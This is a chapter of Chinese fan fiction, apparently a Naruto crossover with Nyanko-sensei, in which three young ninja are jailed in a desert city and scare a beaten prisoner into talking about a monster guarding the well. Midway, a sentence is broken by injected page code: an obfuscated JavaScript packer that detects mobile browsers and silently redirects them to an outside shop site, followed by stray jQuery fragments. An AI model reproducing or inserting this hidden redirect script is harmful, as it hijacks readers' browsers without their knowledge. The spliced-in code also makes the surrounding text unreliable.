“你们真的不觉得,就靠我们三个人去拿下邻国的一座城池什么的,像是自杀行为吗?”
两个黑脑袋齐刷刷地转了过来,嘴里皆叼着水袋,吸一口,袋子就因空气压力瘪了一些。
这里是沙漠,沙丘连绵起伏,空中扬着黄色的沙粒,视野也被悬浮的颗粒阻隔,远处的建筑像被烤焦一样扭曲成童话般的线条。
他们所在的地方是一个完美的避风所。中空的巨型岩石,正好拦住黄沙和尘土,留下水汽和阴影。
他们刚才正站在一颗石头上远眺,估算离目的地还有多少脚程。
“你,你,我,三个加起来连四十岁都没有的人,再加一只猫,”刚才那个声音又开始说话了,他瞥了眼地上摊成一张的猫饼,勉强把他加在队伍中,继续说,“在陌生的沙漠,去攻击一个在这里伫立了成百上千年的古老绿洲?”
松萝伸手,接住因张嘴而掉落的储水袋,点头:“确实是自杀行为,我都渴到快蒸发了。”
对方看向朝自己递来的储水袋,冷脸接过,一边将查克拉转换成水注入,一边回想进沙漠之前的讨论。
按他们的计划,入城之后有以下两种方案:
一、叉掉反抗人士。但是万一都是反抗的,以后就没人干活了。所以这个方案被他驳回了。
二、利诱。沙漠里最缺什么?水源和绿植。巧的是,他们有两个擅长木遁,一个擅长水遁。
这建在绿洲上的土地也有五百多年了,原本的树木、湖泊都已经消失了。
按松萝的想法,就是用“打造新绿洲”来诱惑他们。
但是,就算把他们的查克拉榨干也不可能建起一个绿洲,自然不是那么好违背的。
偏偏松萝信誓旦旦说没问题,并且兴致勃勃。不高兴的他和没头脑的大哥便也跟着来了。
实在是害怕一个没看住,又给他整出点“惊喜”来。
终于给松萝灌满水,三人讨论了一番,想赶在夜里气温骤降前入城,就必须赶紧出发了。
“走啦,猫咪老师。”
柱间走上前,熟练地捡起瘫软的猫咪,绑在背后,还发表了锐评:“又变轻啦。”
猫咪老师气得四肢乱舞:“我都要晒成猫干了!都是你,用小鱼干骗我出门!”
扉间带上兜帽,挡住脸,路过他们身边,本着操不完心提醒:“省点力气吧。路还长。”
*
抵达章之城的时候,正好是日夜交替,气温最舒适的时候。
跟四季分明,气候湿润的火之国不同,风之国百分之九十的领土都是沙漠。白日温高如蒸炉,夜晚苦寒似冰窖。
三人一猫都是第一次来沙漠,随便接了一个时限长的寻物任务就顺理成章从族里出来了。
城门口有两个守卫,裹着白色的头巾,脸色像是要融入风沙一样黄,总感觉有些营养不良。
千手扉间上前,还没拿出他准备好的行商说辞,就被问:
“外面来的?”
“是的,我们是……”
守卫手上的长枪一横,对准三人一猫:“抓起来!”
……
出师未捷先坐牢,没人明白这是怎么回事。他们甚至连一句话都没说完,就被关进了地牢。
好歹他们是被关在一起的。
柱间拉了拉木头做的地牢门,哐当哐当的声音响得出奇,再不控制点力道木门就要被他整个卸下来了,嘴里还嘀咕:“风之国,原来有这么排外吗?”
“很显然,是出事了。”
松萝:“啊?”
“一路走来你们都没注意看么?”他们是被一路押解到城中心的牢房的,几乎路过了半个城池。
扉间盘腿坐在草垛上,深沉地作出推理:“路人几乎没有什么闲逛的人,只有运货的士郎和带兵的城守卫,店铺也都关着。每个人都面黄肌瘦,嘴唇干裂,像是没吃没喝好几天了。这里又是沙漠,我猜,是他们的水源出了问题。”
“并且持续了一阵子了,找不到凶手也找不到解决办法,因此对所有的外来人员都采取了最严格的措施。”
话音刚落,斜对面的牢房传来重重的两下鼓掌声。
那是一个红发的少年,长长的刘海,几乎挡住了右半张脸,让人看不清面容。
他穿的是沙漠居民最常见的白色长袍,只是看着已经旧的泛黄了。
“你们几个外来人还挺聪明的嘛。”
“你是谁?”
他用食指撩起刘海,头往后一甩,得意地说:“我,是城主的三儿子,影枫。”
松萝立时哇了一声,转头小声说:“糟糕,我们来迟了,已经有人先’造反‘了!城主的儿子都被关进来了!”
千手扉间:“……他那样子,看着不像是因为造反进来的。”
影枫还在那边摆弄他的头发,手指卷啊卷的,要是给他一个镜子,他指定能摸着刘海玩上一整天。
松萝重新打量一遍红发少年,忽然赞同起了扉间的说法。
这时,有人进来了。
两个武士一样的人拥着衣着光鲜的男人走到了红发少年的牢房前。
男人趾高气昂地指挥武士打开门,二话不说就朝少年的脸打去。
少年的身体不由自主地后仰,眼中充满了惊惧,一言不发。
男人脸上露出一丝满意的笑容,提起少年的衣领,当面又是几拳。
松开衣领将他推倒在地,复又脚踢了起来。似乎是还嫌不够,挥手让两个武士也一起加入殴打。
少年全程不哼一声,就像是无人观赏的默剧。
“你们不救人吗?”猫咪老师抬起前爪,趴着往外看。
柱间脸上闪过一丝不忍,但是说出来的话却跟表情不符:“他给我的感觉不太舒服。”
扉间一直都是谨慎派,自那男人进来前他就在观察他的腰间:“他挂着的是城主府的腰牌,看看情况再说。”
松萝摸摸下巴,沉吟一会儿:“嗯……他看上去还挺享受的啊。”
猫咪老师:??
“一般人被打的时候,尤其是从上而下的攻击,总会
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735041|145105||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
条件反射先护住头部,特别是后脑勺、太阳穴或是眼睛。但是你看他手放在耳朵以下,露出的是最脆弱的脑部。”
猫咪老师闻言仔细观察了一下确实如此。这一奇怪之处另外两人也注意到了,扉间补充:“没错,一般都会侧过身子,抱住头部,防止胸口或正面受到攻击,但他正面防守大开,应该护住的地方一点没保护,不像是个经常被打的人。”
“怎么看都像是故意这么干的,”松萝煞有介事地点点头,“这种人,除了变态还是变态。不要靠近的好。”
……
那男人发泄了一会儿,整整衣服,往少年脸上啐了一口,骂骂咧咧:“留下贱种果然没好事!就是有这种东西的存在才会招来那样的怪物!呸!”
他最后又补了两脚,才离开地牢。
没有漏听男人的最后一句话,松萝三人交换了一下眼神:招来怪物?有情况?
柱间一拉木门,两人宽的门框就被他整个拽了下来,靠在墙上轻轻放好。松萝带头,往被打的影枫的所在之处而去。
一人扶起少年,边惊叹“怎么流了这么多血啊我好心疼哥哥”边往他嘴里塞草;一人“愤怒”地挥舞拳头,为他打抱不平的同时问出真实目的——“什么人为什么要打你啊,怪物是什么呀”;一人长吁短叹,暗示己方只是被误抓的无辜旅客并无恶意,并表明相信“怪物”与他无关,借此拉近关系。
分工合作,嘘寒问暖一件不落。
猫咪老师看着“作戏”的三人内心吐槽:……刚刚还说人是变态,现在发现有利用价值了又翻脸,真有你们的。
“你们……怎么从牢里出来的,不对,你们能出来的话刚刚为什么不来帮我?”
三人动作一僵,猫咪老师跳到千手柱间的脑袋上,狂笑:“哈哈哈,被戳穿了吧!”
松萝也不“心疼哥哥”了,扶着他的手一松,影枫毫无准备之下,哐的一声的脑袋砸到地上,疼得他龇牙咧嘴。
“你!”
他捂住后脑勺,刚要质问,就看到长发在空中散舞,犹如失控的游蛇一般扭曲,少女面容冰冷,丝毫没有刚才的温柔可亲,她的背后,五根粗大的绿色触手缓缓伸出,直指他的脑门。
近距离之下,他看到触手上有白色的疙瘩,一个叠一个,成群结队般抱在一起,仿佛一群抱团蠕动的白蚁。触手表面不时地起伏、伸缩,就像是有着自己的心脏,在不停地跳动,每一次脉动都似乎在空气中传递着令人毛骨悚然的震颤。
少女嘴巴开合,正要开口。
“我说!我什么都说!
“我叫影枫,是城主的大儿子,刚刚那人是我大哥。我是庶出,我母亲是身份低下的忍者所以他们都看不起我,经常打我。
“怪物是突然出现的,堵在了前往最重要的地下水的深井的路。我把我知道的都说了,不要杀我啊啊!”
演员组·松萝收回触手,氛围组·柱间停止在她背后扇风吹头发,善后组·扉间出手将影枫吉晕,三人得意地看向猫咪老师:被戳穿又怎样,这不就解决了?